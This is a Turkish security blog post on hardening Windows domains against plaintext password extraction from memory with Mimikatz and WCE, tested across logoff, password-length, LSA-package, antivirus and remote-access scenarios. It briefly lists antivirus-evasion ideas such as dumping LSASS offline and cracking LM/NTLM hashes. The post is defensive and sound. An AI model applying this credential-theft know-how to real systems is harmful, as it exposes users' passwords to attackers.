wce etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
wce etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

3 Aralık 2014 Çarşamba

Bellekten Parolaların Elde Edilmesinin Engellenmesi İçin Tavsiyeler

Bellekten Parolaların Elde Edilmesinin Engellenmesi İçin Tavsiyeler


Bellekten parolanın açık olarak elde edilmesi ile ilgili önceki yazıda parolanın nasıl elde edildiği konusuna değinilmiş ve aşağıdaki gibi özetlenmişti:
Oturum açmak için yazdığımız kullanıcı adı ve parola gibi bilgiler, belleğe (RAM) yüklenen ve kimlik doğrulama işleminde görev alan bazı kütüphane dosyalarında şifreli olarak saklanmakta ve bu bilgiler kimlik doğrulama işlemleri sırasında kullanılmaktadır. Bunun yanında Mimikatz / WCE gibi bazı araçlar RAM üzerinde tutulan şifreli parolayı ve  şifreleme anahtarını elde ederek, şifreli parolayı deşifre etmekte, böylece parolanın açık olarak elde edilmesini sağlamaktadır.

Bu yazıda ise, kurumsal bir etki alanı (domain) ortamında, sızılan bir bilgisayardaki RAM üzerinden kullanıcı parolalarının açık olarak elde edilmesini zorlaştırmak ve önlemek için atılması tavsiye edilen adımlardan bahsedilecektir. Bu tavsiyeler 6 ana başlık altında toplanacak olup, yazının sonunda ise tavsiyeler özetlenecektir. Aşağıdaki başlıklardaki durumlar anlatılırken, SIRKET adlı bir etki alanına sahip bir kurumda PC1 adlı bir bilgisayarın ele geçirildiği varsayılıp, belli senaryolar üzerinden gidilecektir. Bu senaryolardaki bazı nesneler aşağıdaki gibidir.

  • SIRKET: Kurumdaki etki alanının (Domain) adı
  • SRV1: Etki alanı denetleyicisi (Domain Controller)
  • EaYoneticisi1: Etki alanındaki bir kullanıcı (Domain User)
  • PC1: Saldırgan tarafından ele geçirilen etki alanı bilgisayarı (Domain Computer)
  • Kurban ve YerelKullanici: PC1 bilgisayarındaki yerel kullanıcılar (Local User)


Başlıklar ve alt başlıklar altındaki her bir senaryo uygulanırken bilgisayar yeniden başlatılmıştır. Bu sebeple, her senaryo birbirinden bağımsız olarak düşünülmelidir.

Bunun yanında senaryolara ait ekran görüntülerinde bazı kontrol araçları kullanılmıştır. Bu araçlar ve araçların kullanılmasındaki amaçlar şu şekildedir:

  • Mimikatz: PC1 bilgisayarından hangi kullanıcılara ait parolaların açık olarak elde edilip edilemediği kontrol edilir.
  • Görev Yöneticisi - Kullanıcılar Sekmesi (Task Manager - Users) ve Qwinsta: PC1 bilgisayarındaki oturumları ve oturum durumlarını listelemek için kullanılmıştır.
  • Netstat: PC1 bilgisayarına SRV1 bilgisayarından olan bağlantıları listelemek için kullanılmıştır.
  • Tasklist: PC1 bilgisayarında EAYoneticisi1 adlı kullanıcı tarafından oluşturulan prosesleri listelemek için kullanılmıştır.
Bu ön bilgilerden sonra başlıklar, alt başlıklar ve senaryolar incelenebilir.

A) Oturum Sonlandırma İşlemleri

Bir makinede oturum açma işlemi temel olarak konsol üzerinden etkileşimli oturumla veya uzak masaüstü oturumuyla gerçekleştirilebilir. Bu oturumlardan çıkış yapılırken kullanıcı değiştirme (switch user), uzak bağlantıyı kesme (disconnect), oturumu kapatma (log off) veya bilgisayarı yeniden başlatma / kapatma (restart / shutdown) gibi yollar izlenebilir.

1) Kullanıcı Değiştirme (Switch User)

PC1 üzerinde Sirket\EaYoneticisi1 adlı kullanıcı oturumunu açıp işlemlerini tamamladıktan sonra kullanıcı değiştirme seçeneği kullanılarak oturumundan çıkış yapmıştır. Daha sonra PC1\Kurban adlı kullanıcı ile oturum açılmıştır. Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir.

Şekil - 1: Kullanıcı Değiştirme Yöntemi ile Oturum Sonlandırma

Yorum: Oturum sonlandırmak için oturumu değiştir seçeneği kullanılmamalıdır.

2) Oturum Bağlantısının Düşmesi (Disconect Your Session Immediately)

PC1\YerelKullanıcı adlı kullanıcı ile oturum açık durumda iken, Sirket\EaYoneticisi1 adlı kullanıcı uzak masaüstü erişimi gerçekleştirmiştir. Varsayılan olarak bir istemcide bir konsol açık olabildiği için, PC1\YerelKullanici adlı kullanıcının oturumu düşmüştür. Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir.


Şekil - 2: Oturum Düşürme Yöntemi ile Oturum Sonlandırma

Yorum: Oturum düştüğünde parolalar elde edilebilmektedir.

3) Uzak Masaüstü Bağlantısını Kesme (Disconnect)

Bir önceki senaryo ile aynı adımlar izlendikten sonra Sirket\EaYoneticisi1 adlı kullanıcı uzak masaüstü oturumunu sonlandırmak için bağlantıyı kes (Disconnect) seçeneğini kullanmaktadır.

Şekil - 3: Oturumu Sonlandırma İşlemi

Daha sonra PC1\YerelKullanici adlı kullanıcı ile tekrar oturum açılmaktadır (Bu işlem yerine Sirket\EaYoneticisi1 adlı kullanıcının oturumu aktifken, PC1\YerelKullanici adlı kullanıcı ile tekrar oturum açarak uzak masaüstü erişimi de kesilebilirdi.). Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir.


Şekil - 4: Oturumu Sonlandırma Yöntemi ile Oturum Sonlandırma

Yorum: Oturum sonlandırmak için bağlantıyı kes seçeneği kullanılmamalıdır.

4) Oturumu Kapatma (Log off)

Sirket\EaYoneticisi1 adlı kullanıcı oturum açtıktan sonra oturumunu kapatmaktadır (log off). Sonrasında PC1\Kurban adlı kullanıcı ile oturum açılmakta ve bu oturum da kapatılmaktadır (log off). Daha sonrasında ise PC1\YerelKullanici adlı üçüncü kullanıcı ile oturum açılmıştır. Bu durumda PC1\Kurban adlı kullanıcının parolası alınamamışken, Sirket\EaYoneticisi1 ve PC1\YerelKullanici adlı kullanıcıların parolalarının elde edilebildiği görülmektedir.

Şekil - 5: Oturumu Kapatma Yöntemi ile Oturum Sonlandırma - 1

Yorum: Oturum sonlandırmak için oturumu kapatma seçeneği kullanılmamalıdır.

Not: Aynı adımlar takip edilip bir kere daha deneme yapıldığında ise Sirket\EAYoneticisi1 adlı kullanıcının da parolası elde edilememiş, sadece PC1\YerelKullanici parolası elde edilebilmiştir.


Şekil - 6: Oturumu Kapatma Yöntemi ile Oturum Sonlandırma - 2

Yorum: Bazı durumlarda oturumu sonlandırmak için oturumu kapat (log off) seçeneği yeterli oluyorken, her zaman için bu durum doğru olmayabilmektedir. Bu sebeple bilgisayarı yeniden başlatmak (restart) veya kapattıktan sonra (shutdown) yeniden açmak parolanın bellek üzerinden elde edilmesini önlemek için en garanti çözüm olmaktadır.

B) Güvenli Parola Kullanma

Bu başlık altında parolaların güçlü olmasının RAM üzerinden parolaların elde edilmesi üzerindeki etkisi üzerinde durulacaktır.

1) Parola Uzunluğu ve Karmaşıklığı

Bu senaryoda PC1\YerelKullanici adlı kullancının parolası (Siber123.Guvenlik?) 18 karakter olarak oluşturulmuş, içerisinde büyük/küçük harf, sayı ve noktalama işaretleri kullanılmıştır. Oldukça karmaşık gibi görünen bu parola bellek üzerinden elde edilebilmiştir.


Şekil - 7: Uzun ve Karmaşık Parola Kullanımı - 1

Yorum: Karmaşık ve uzun parolaların kullanılması birçok saldırı için en kritik adımlardan birisidir. Ancak parolaların bellek üzerinden elde edilmesi için yeterli olmamaktadır.

2) Parolada Daha Özel Karakterlerin Kullanılması

Parola oluşturulurken karmaşıklığı arttırmak için karakter kümesi arttırılabilir. Bu amaçla daha karmaşık karakterler kullanılarak PC1\Kurban adlı kullanıcı için yeni bir parola (SiberæGuvenlik€123) belirlenmiştir. Oldukça karmaşık gibi görünen bu parola bellek üzerinden kısmen elde edilebilmiştir.


Şekil - 8: Uzun ve Karmaşık Parola Kullanımı - 2

Ekran görüntüsünde de görüldüğü gibi, € (euro) karakteri yerine ? (soru işareti)  karakteri gelmektedir. Parolanın tamamı elde edilemediği düşünüldüğünde, saldırganın işinin kısmen zorlaştırılmış olduğu düşünülebilir. Ancak saldırgan, kısmen elde ettiği parolanın kalan karakterlerini tahmin yöntemi kullanılarak (é, è, ê, ë, £, ∑, ... gibi) da tespit edilebilir. Bunun yanında aracın çalıştırıldığı komut satırı yazı formatı değiştirilerek de parola çok kolay bir şekilde edilebilir. Bu işlem için komut satırı özelliklerinden Yazı sekmesine gelerek Lucida Console gibi bir formatın seçilmesi yeterli olacaktır.

Şekil - 9: Komut Satırı Font Değişikliği

Böylece parola özel kullanılan formatlar da dahil olmak üzere tamamen elde edilebilmektedir.


Şekil - 10: Font Değişikliği Sonrası Uzun ve Karmaşık Parola Kullanımı

Not: ALT tuşu ile kombinasyon oluşturan sayı listesi bağlantıdaki gibidir. Bunun yanında, ALT tuşu ile kombinasyon oluşturan sayıların kullanımı bağlantıdaki gibidir.

Yorum: Parola karmaşıklığı, parolanın bellek üzerinden elde edilmesi için yeterli olmamaktadır. Ancak parola güvenliği için aşağıdaki sıkılaştırma işlemlerinin gerçekleştirilmesi tavsiye edilmektedir:

  • Parolalar en az 10 karakter uzunlukta ve karmaşık olarak belirlenmelidir.
  • Parolalar en fazla 2 ayda bir değiştirilmelidir.
  • Oluşturulan parolalar birbirinden farklı, birbiriyle ilişkisiz ve başka yerlerde (forum, kişisel mail gibi) kullanılmayan parolalardan oluşmalıdır.
  • Parola politikalarında LM özetin kullanılması önlenmelidir. “Network security: Do not store LAN Manager hash value on next password change” ilkesi etkin olmalıdır. Bu işlem için Kayıt Defterin'de "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash" değeri 1 de yapılabilir.
  • Parola güvenliği ve güvenilir parola oluşturma ile ilgili Bilgimi Koruyorum sayfası incelenebilir.

Not: Parola oluşturulurken kullanılan sistemlerin oluşturulan parolaları destekleyip desteklemediği test edilmelidir.

C) Kullanılmayan Kütüphanelerin (DLL) Kaldırılması

Bir önceki yazıda da belirtildiği gibi, Windows işletim sistemindeki kimlik doğrulama paketleri LSA (Local Security Authority) tarafından belleğe yüklenir. LSA, hangi DLL dosyalarını yükleyeceğini kayıt defterindeki “HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages” kaydından alır. Bu kayıtta bulunmayan paketler belleğe yüklenmeyecektir. Varsayılan durumda bir PC1 gibi Windows 7 işletim sistemi yüklü bir bilgisayarda Security Packages değerinin altında 6 DLL mevcuttur: kerberos, msv1_0, schannel, wdigest, tspkg, pku2u. Her bir DDL kimlik doğrulamasında bir takım işlemler gerçekleştirmek için görevlidir. Örneğin, tsPkg bilgsayarlar arasında parola sorgusu gerçekleştirmeden erişim için gereklidir. Bu güvenlik paketinin kaldırılması MS12-020 gibi DOS zafiyetine sahip olan bilgisayarlar için tavsiye edilmektedir. Ancak, Hyper V gibi bazı sistemlerde oturum işlemleri için bu DLL yüklenmek belleğe yüklenmek zorundadır. Bir diğer kimlik doğrulama paketi olan wdigest ise, OWA (Outlook Web Access) gibi uygulamalar için LM/NTLM ile ağ üzerinden kimlik doğrulaması için kullanılır. Etki alanındaki en önemli güvenlik paketlerinden birisi olan kerberos ise, belirlenen bir süre sonunda (10 saat gibi) hesap önbiletinin (TGT) yenilenmesi için gereklidir. Bilgisayarlarda bu şekilde parola ve parola özetlerinin şifreli tutulmasının nedeni, ağ üzerinden yapılan standart kimlik doğrulama protokollerini (Kerberos, NTLM/LM sorgulama-cevaplama gibi) desteklemeyen servislerin her defasında şifre sormasını engellemek, yani bu servislere SSO desteği kazandırmaktır. Böylece bu servisler parolanın veya özetinin açık hali gerektiği zaman RAM üzerinden şifre çözme işlemi gerçekleştirilir ve servise açık halde verilir. Servis de bu bilgiyi kullanarak kendi işlevini yerine getirir.

Bu başlıkta, PC1 bilgisayarından Mimikatz aracının parolaları açık olarak ele geçiremediği 3 güvenlik paketi (msv1_0, schannel, pku2u) bırakılmış, diğerleri (kerberos, wdigest, tspkg) ise silinmiştir.
Şekil - 11: Güvenlik Paketleri

Daha sonra bilgisayar yeniden başlatılmıştır. Bu başlık altındaki senaryolar 3 güvenlik paketi (kerberos, wdigest, tspkg) silinmiş olduğu durumda gerçekleştirilmiştir.

1) Uzak Masaüstü Bağlantısı Denemesi

PC1 bilgisayarına port taraması gerçekleştirilmiştir. Bu durumda uzaktan masaüstü erişim portunun (3389) açık olduğu görülmektedir.

Şekil - 12: Güvenlik Paketlerinin Silinmesi Sonrası Uzak Masaüstü Servis Kontrolü

Ancak, PC1 bilgisayarına uzak masaüstü bağlantısının gerçekleştirilemediği görülmüştür.


Şekil - 13: Güvenlik Paketlerinin Silinmesi Sonrası Uzak Masaüstü Denemesi

Yorum: Bazı kimlik doğrulama paketlerinin silinmesi istenmeyen durumların ortaya çıkmasına sebep olabilir.

2) 14 Karakterden Daha Kısa Uzunluktaki Parolanın Kullanılması

Uzak masaüstü erişim gerçekleştirilememesine rağmen,  konsol üzerinden ise erişimin gerçekleştirilebildiği görülmektedir. Bu senaryoda kullanıcı parolaları 14 karakterden kısa olacak şekilde seçilmiştir.

Sirket\EaYoneticisi1 aldı kullanıcı oturum açıp işlemlerini tamamladıktan sonra kullanıcı değiştirme seçeneği kullanılarak oturumdan çıkış yapmıştır. Daha sonra PC1\YerelKullanici adlı kullanıcı ile oturum açılmıştır. Bu durumda her iki kullanıcının parolasının da açık olarak elde edilemediği, parolanın sadece LM ve NTLM özetlerinin elde edilebildiği görülmektedir.

Şekil - 14: Güvenlik Paketlerinin Silinmesi Sonrası Kısa Parola ile Oturum Açma İşlemi

Ancak, çeşitli araçlarla veya internetten çevrim içi olarak bu hizmeti sunan siteler (Ophcrack , MD5Decrypter  gibi) kullanılarak, parolaların LM/NTLM özetlerinden parolaların açık hali elde edilebilir. Şöyle ki;

PC1\YerelKullanici adlı kullanıcı için LM/NTLM parola özetinden parolanın açık halinin elde edilmesi sonucu aşağıdaki gibidir:

Şekil - 15: 14 Karakterden Kısa Parolalara Ait LM ve NTLM Özetlerinin Bellekten Elde Edilmesi - 1

Sirket\EaYoneticisi1 adlı kullanıcı için LM/NTLM parola özetinden parolanın açık halinin elde edilmesi sonucu aşağıdaki gibidir:

Şekil - 16: 14 Karakterden Kısa Parolalara Ait LM ve NTLM Özetlerinin Bellekten Elde Edilmesi - 2

Yorum: Bilgisayar parola ilkelerinden LM özeti tutulması engellenmiş olsa (“Network security: Do not store LAN Manager hash value on next password change” ilkesi etkin olduğu durumda) dahi, 14 karakterden kısa parolalar için RAM üzerinde parolanın LM özeti saklanmaktadır.

3) 14 Karakterden Daha Uzun Parolanın Kullanılması

Bir önceki senaryo kullanıcı parolaları 14 karakterden uzun olacak şekilde tekrarlanmıştır. Bu senaryoda PC1\YerelKullanici adlı kullanıcının parolası Siber123.Siber123. olarak, Sirket\EaYoneticisi1 adlı kullanıcının parolası ise Aa123456.Aa123456. olarak belirlenmiştir. Bu durumda her iki kullanıcının parolasının da açık olarak elde edilememesinin yanında parolanın LM özetinin de elde edilemediği, sadece NTLM özetlerinin elde edilebildiği görülmektedir.

Şekil - 17: Güvenlik Paketlerinin Silinmesi Sonrası Uzun Parola ile Oturum Açma İşlemi

Bir önceki senaryo ile aynı yöntemler kullanılarak, parolaların NTLM özetlerinden parolaların açık hali elde edilmeye çalışılmış olsa da LM özeti olmadan parolanın açık hali elde edilememiştir. Şöyle ki;

PC1\YerelKullanici adlı kullanıcı için NTLM parola özetinden parolanın açık halinin elde edilememesi durumu aşağıdaki gibidir:

Şekil - 18: 14 Karakterden Uzun Parolalara Ait NTLM Özetlerinin Bellekten Elde Edilmesi - 1

Sirket\EaYoneticisi1 adlı kullanıcı için NTLM parola özetinden parolanın açık halinin elde edilememesi durumu aşağıdaki gibidir:
Şekil - 19: 14 Karakterden Uzun Parolalara Ait NTLM Özetlerinin Bellekten Elde Edilmesi - 2

Yorum: Bellek üzerinden parolalara ait LM özetin tutulmaması için güvenlik ilkelerinin ayarlanmasının yanında parola uzunluğunun 14 karakterden uzun olması da önem arz etmektedir. Bu sebeple parola oluşturulurken 14 karakterden uzun olması tavsiye edilmektedir.

D) İstemci Taraflı Koruma Sistemleri

Mimikatz, WCE gibi araçların dosya sistemine yüklenmesi antivirüs gibi sistemler tarafından tespit edilmesine sebep olmaktadır. VirusTotal , yüklenen dosyanın (veya URL’i verilen sayfanın vs) özetini alarak kendisinde, sisteminde kayıtlı olan antivirüsler tarafından bu dosyanın zararlı olarak algılanıp algılanmadığı bilgisini sunan bir hizmettir. 21 Aralık 2012 tarihi itibariyle VirusTotal üzerinde 64 bit mimari için hazırlanmış Mimikatz aracını tespit edebilen 12 antivirüs ürünü bulunmaktadır.

Şekil - 20: Mimikatz Aracının Antivirüsler Tarafından Tespit Edilme Oranı


VirusTotal ile ilgili ayrıntılı bilgi için bakınız.

Bu sebeple bilgisayarlar üzerinde antivirüs kullanılması saldırganların işini zorlaştıracaktır. Ancak çeşitli yöntemlerle antivürüsler atlatılarak (AV Bypass) bellek üzerinden parolalar elde edilebilir. Bu yöntemlerden bazıları aşağıdaki gibidir:

  • Antivirüs duraklatılabilir, durdurulabilir, antivirüs servisinin kapatılabilir. Böylece antivirüs çalışmaz hale getirilebilir.
  • Antivirüsler imza tabanlı çalışmaktadırlar. Paketleyiciler kullanılarak veya başka yöntemlerle zararlı yazılımın değiştirilmesi, antivirüslerin zararlıyı tespit edememesine sebep olabilir.
  • Birçok antivirüs sabit disk üzerinde kontrollerini gerçekleştirir, RAM üzerinde çalışan ve sabit disk ile etkileşimi olmayan zararlıları yakalayamaz. Örneğin, Mimikatz aracının RAM üzerinde çalışan versiyonları antivirüsler tarafından yakalanamayabilmektedir.
  • Bellekteki parolalar temel olarak LSASS prosesinden elde edilebilmektedir. Bu prosesin dump halini alan saldırgan, kendi bilgisayarında çeşitli araçlar kullanarak parolanın açık halini elde edebilir. Bu gibi bir durumda antivirüs herhangi bir zararlı aktivite tespit edemeyebilir.

Yorum: Antivirüs kullanılması saldırı yüzeyini daraltmakla birlikte kesin çözüm değildir.

E) Uzaktan  Erişim Yöntemleri

Ağ üzerinden bilgisayarlar arasında erişim için uzak masaüstü haricinde yöntelmer de bulunmaktadır. Bu başlık altında ağ üzerinden erişim sağlandığında parola bilgilerinin RAM üzerinde açık olarak saklanıp saklanmadığı senaryolar üzerinden gösterilecektir. Bu başlık altındaki senaryolarda, SRV1 adlı bilgisayarda Sirket\EaYoneticisi1 adlı kullanıcı, PC1 adlı bilgisayarda PC1\YerelKullanıcı adlı kullanıcı oturum açmış bulunmaktadır.

1) Kullanıcı Bilgileri Kullanılarak PsExec ile Erişim

Sirket\EaYoneticisi1 adlı kullanıcı, PC1 adlı bilgisayara SysInternals PsExec aracı ile bağlantı kurmaktadır. PsExec aracı, uzak bilgisayarın yönetimsel paylaşımına (ADMIN$) erişim için kullanılan bir araç olarak tanımlanabilir. Bu araç ile bağlantı sırasında kullanıcı adı ve parola bilgisi kullanılabilmektedir.

Şekil - 21: PsExec Aracı ile Kimlik Bilgilerini Kullanarak Ağ Üzerinden Erişim

Böylece PC1 adlı bilgisayarın dosya sistemine, kimlik bilgisi verilen kullanıcı ile giriş yapılmıştır. Aynı bilgisayar üzerinde PC1\YerelKullanici adlı kullanıcı ile oturum açık bulunmaktadır. Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir. Ayrıca Sirket\EaYoneticisi1 adlı kullanıcının da PC1 adlı bilgisayar üzerinde prosesler başlattığı (cmd.exe ve conhost.exe) görülmektedir.

Şekil - 22: PsExec Aracı ile Kimlik Bilgilerini Kullanarak Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Yorum: PsExec aracına kullanıcı bilgileri yazılarak ağ üzerinden erişim sağlanmamalıdır.


2) Kullanıcı Bilgileri Kullanılmadan PsExec ile Erişim
Bir önceki senaryo PsExec aracına kimlik bilgisi verilmeden de gerçekleştirilebilir. Bu durumda komut satırını çalıştıran kullanıcının hakları ile bağlantı sağlanır. Diğer bir deyişle, SRV1 adlı bilgisayarda PsExec aracını kullanan kullanıcı (Sirket\EaYoneticisi1 adlı kullanıcı) hakları ile bağlantı oluşturulmaktadır.


Şekil - 23: PsExec Aracı ile Kimlik Bilgilerini Kullanmadan Ağ Üzerinden Erişim

Böylece, PC1 adlı bilgisayarın dosya sistemine, PsExec aracını kullanan kullanıcı hakları ile giriş yapılmıştır. Aynı bilgisayar üzerinde PC1\YerelKullanici adlı kullanıcı ile oturum açık bulunmaktadır. Bu durumda sadece PC1\YerelKullanici adlı kullanıcının parolasının elde edilebildiği, Sirket\EaYoneticisi1 adlı kullanıcının parolasının elde edilemediği görülmektedir. Bunun yanında, Sirket\EaYoneticisi1 adlı kullanıcının da PC1 adlı bilgisayar üzerinde, bir önceki senaryoda olduğu gibi, prosesler başlattığı (cmd.exe ve conhost.exe) görülmektedir.


Şekil - 24: PsExec Aracı ile Kimlik Bilgilerini Kullanmadan Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Yorum: PsExec aracına kullanıcı bilgileri verilmeden ağ üzerinden erişim sağlanılması durumunda, mimikatz aracı ile RAM üzerinden uzaktan erişimi gerçekleştiren kullanıcının parolası açık olarak elde edilemez. Ancak yeni bir prosesin oluşturulması, bağlantı boyunca bu proseslerin yaşamlarına devam etmesi, bu süre boyunca saldırganın oluşturduğu bir prosesin bu proseslere sıçrayabiliyor (migration) olması veya saldırgana ait prosesin bu proseslermiş (impersonation) gibi bu prosesler üzerindeki bazı bilgileri (jeton - token) alabiliyor olması, prosesi çalıştıran kullanıcının haklarının ele geçirilmiş olması anlamına da gelebilmektedir. Bu hakların sadece mevcut bilgisayar üzerinde etkin olması, ağdaki diğer servislere erişim kullanılamaması için, özellikle kritik hesapların “Account is sensitive and cannot be delegated” adlı özelliğinin seçilmiş olması tavsiye edilmektedir.

3) Kayıt Defteri ile Uzaktan Erişim

PC1 adlı bilgisayardaki “Remote Registry” adlı servis etkin ve başlatılmış durumdadır. SRV1 adlı bilgisayar üzerinden PC1 adlı bilgisayarın Kayıt Defteri’ne (Registry Editor) erişim sağlanmaktadır.


Şekil - 25: Kayıt Defteri ile Ağ Üzerinden Erişim

Bu durumda PC1 adlı bilgisayarda sadece PC1\YerelKullanici adlı kullanıcının parolası elde edilebilmektedir. Bunun yanında PC1 adlı bilgisayarda herhangi bir prosesin başlatılmadığı görülmektedir.


Şekil - 26: Kayıt Defteri ile Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Yorum: Uzaktan kayıt değerlerine erişim sağlanırken parolalar açık olarak elde edilemez. Ancak bu işlemin gerçekleşmesi için “Remote Registry” servisinin çalıştırılması güvenlik zafiyetine sebep olmaktadır.

4) Yönetimsel Paylaşımlarla Dosya Sistemine Uzaktan Erişim

Sirket\EaYoneticisi1 adlı kullanıcı, PC1 adlı bilgisayarın dosya sistemine (yönetimsel paylaşımına) erişmektedir.

Şekil - 27: Dosya Paylaşımı ile Ağ Üzerinden Erişim

Bu durumda PC1 adlı bilgisayarda sadece PC1\YerelKullanici adlı kullanıcının parolası elde edilebilmektedir. Bunun yanında PC1 adlı bilgisayarda herhangi bir prosesin başlatılmadığı görülmektedir.

Şekil - 28: Dosya Paylaşımı ile Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Benzer sonuçlar, yönetimsel paylaşımlara erişim için kullanılan “net use” komutu ile de alınmaktadır. Şöyle ki, “net use” komutunu kimlik bilgisi kullanarak (net use \\PC1\ADMIN$ /user:Sirket\EaYoneticisi1 Aa123456.) veya kimlik bilgisi olmadan (net use \\PC1\ADMIN$) dosya sistemine erişim durumunda, erişimi gerçekleştiren kullanıcının parolası, erişimin gerçekleştirildiği bilgisayar üzerinden elde edilememektedir. Dosya paylaşımına erişim sağlayarak betikler çalıştırılabildiğinden "Remote Registry" servisinin açık bırakılmasına gerek kalmamaktadır.

Yorum: Dosya sistemine erişim için paylaşımların kullanılması tavsiye edilmektedir. Paylaşımların belirli IP'lerden (etki alanı denetleyicisi veya jump server gibi ara bilgisayarlardan) gelen taleplere açık olması tavsiye edilmektedir. Bunun yanında, dizinlerin dosya sistemi üzerindeki (NTFS) ve ağ üzerindeki (Sharing) erişimlere ait güvenlik konularına da önem verilmelidir. Ancak bu konular kapsam dışında olduğu için değinilmeyecektir.

5) Diğer Uzaktan Erişim Araçları

Ağ üzerinden bilgisayarlara erişimler için diğer bir çok yöntem bulunmaktadır. WMIC (wmic /node:PC1 process list brief), powershell, yönetim konsolu (MMC) gibi yöntemler ile erişim gerçekleştirildiğinde hedef bilgisayar (PC1 adlı bilgisayar) üzerinde parolalar açık olarak elde edilemez. Ancak bu yöntemlerin kullanılması için hedef bilgisayarda bazı servislerin çalışması gerekmektedir. Bu servislerin açık bırakılması ise saldırı yüzeyini arttırmaktadır.



F) Güncelleştirmelerin Gerçekleştirilmesi

Microsoft tarafından yayınlanan KB2871997 paketi ile RAM üzerinden parolaların elde edilmesi zorlaştırılmıştır. Ancak henüz tamamen engellenememiştir. Konu ile ilgili ayrıntılı bilgi için bakınız.


G) Sonuç: Tüm Tavsiyeler

Bu başlık altında diğer başlıklar altında bahsedilen tavsiyeler tekrar edilecek ve ek tavsiyelerde bulunulacaktır. Bu tavsiyeler aşağıdaki gibidir:

  • Kritik kullanıcı hesapları ile (özellikle saldırıya açık konumda bulunan DMZ içerisindeki ve istemciye açık olan) bilgisayarlarda, oturum açılamamalıdır. Bu bilgisayarlardakiişlemler için yerel kullanıcılar veya belirlenen işlemler gerçekleştirmek için oluşturulan etki alanı hesapları (Teknik Destek hesabı gibi) kullanılmalıdır.
  • Saldırıya açık konumdaki bilgisayardaki oturumların süresi sınırlandırılmalıdır. Belli aralıklarla bilgisayar yeniden başlamalıdır. Ancak ele geçirilen bir bilgisayardan diğer bilgisayarlara erişim mümkün olabildiği için, tüm bilgisayarlarda bu işlemin gerçekleştirilmesi tavsiye edilmektedir.
  • Açık olan bir oturumu sonlandırmak için bilgisayar yeniden başlatılmalıdır.
  • 14 karakterden daha uzun parolalar kullanılmalıdır. Parolalar küçük harf, büyük harf, rakam, noktalama işaretleri gibi özel karakter içermelidir.
  • Gereksiz güvenlik paketleri kaldırılmalıdır. Ancak bu işlemin çeşitli problemlere yol açabileceği unutulmamalıdır.
  • Antivürüs gibi istemci üzerinde koruma sağlayan mekanizmalar güncel ve etkin olmalıdır.
  • Uzaktan erişimler için dosya paylaşımları tercih edilmelidir. Bu paylaşımlara erişimlere belirli bilgisayarlardan (IP) ve hesaplardan izin verilmelidir.
  • Kimlik doğrulaması için akıllı kartın kullanılması tavsiye edilmektedir. Güvenilir olarak tasarlanmış akıllı kartlarda parola yerine PIN kullanılmakta ve kullanıcı hesabına ait özel bilgi (private key), akıllı kart içerisinden alınamamaktadır.
  • Kullanıcı hesaplarına, servis veya zamanlanmış görev (scheduled jobs) başlatan hesaplara, gereğinden fazla yetki (Domain Admin yetkileri gibi) verilmemelidir.
  • Tespit amaçlı olarak da, belli olaylar gerçekleştiğinde kayıtların / alarmların oluşturulması ve oluşturulan alarmların izlenmesi tavsiye edilmektedir.
  • Microsoft'un KB2871997 güncelleme paketi indirilmelidir.


Bu yazıda bellek üzerinden kimlik bilgilerinin elde edilmesini zorlaştırmak ve elde edilmesini engellemek  için gerçekleştirilebilecek yöntemlerden bahsedilmiştir. Bu yöntemlerin, özellikle kritik sistemlere sahip kurumlarda, incelenmesi tavsiye edilmektedir. Bunun yanında, en önemli korunma yönteminin saldırganların sistemlere erişmesini engellemek ve RAM üzerinden bilgi alabilecek kadar sistemlere sızabilmesine imkan sağlamamak olduğu unutulmamalıdır.


Kaynak:
[1] http://www.bilgiguvenligi.gov.tr/windows-isletim-sisteminde-oturum-acma-islemi-winlogon.html
[2] http://msdn.microsoft.com/tr-tr/magazine/cc163489(en-us).aspx
[3] http://technet.microsoft.com/en-us/library/ff404303(v=ws.10).aspx
[4] http://blog.bga.com.tr/2013/01/mimikatz-ile-windows-sistemlerde.html
[5] http://ertugrulbasaranoglu.blogspot.com/2012/10/ipucu-wceden-kacnma-yontemi.html
[6] http://blog.opensecurityresearch.com/2012/06/using-mimikatz-to-dump-passwords.html
[7] http://technet.microsoft.com/en-us/library/cc778868(WS.10).aspx
[8] http://www.ampliasecurity.com/research/wce12_uba_ampliasecurity_eng.pdf
[9] http://www.ampliasecurity.com/research/WCE_Internals_RootedCon2011_ampliasecurity.pdf
[10] http://technet.microsoft.com/en-us/library/dn169026(v=ws.10).aspx
[11] http://technet.microsoft.com/en-us/library/dn169016(v=ws.10).aspx
[12] http://codeidol.com/community/windows/logon/25019/
[13] http://fr.slideshare.net/gentilkiwi/mimikatz-asfws
[14] http://www.sans.org/reading-room/pass-the-hash-attacks-tools-mitigation-33283
[15] http://danielaelmi.altervista.org/password-cracking-hashes-dumping-brute-forcing-auditing-and-privileges-escalation/
[16] http://www.blackhat.com/presentations/bh-dc-09/Muckin/BlackHat-DC-09-Muckin-vista-security-internals.pdf
[17] http://umut-simsek.blogspot.com/2013/04/hashini-seven-kovboy-heykrlara-karsi.html
[18] https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-1.html
[19] https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-2.html
[20] https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-3.html

26 Kasım 2014 Çarşamba

Post Exploitation: Mimikatz ve WCE ile Bellekten Parolaların Elde Edilmesi

Post Exploitation: Mimikatz ve WCE ile Bellekten Parolaların Elde Edilmesi

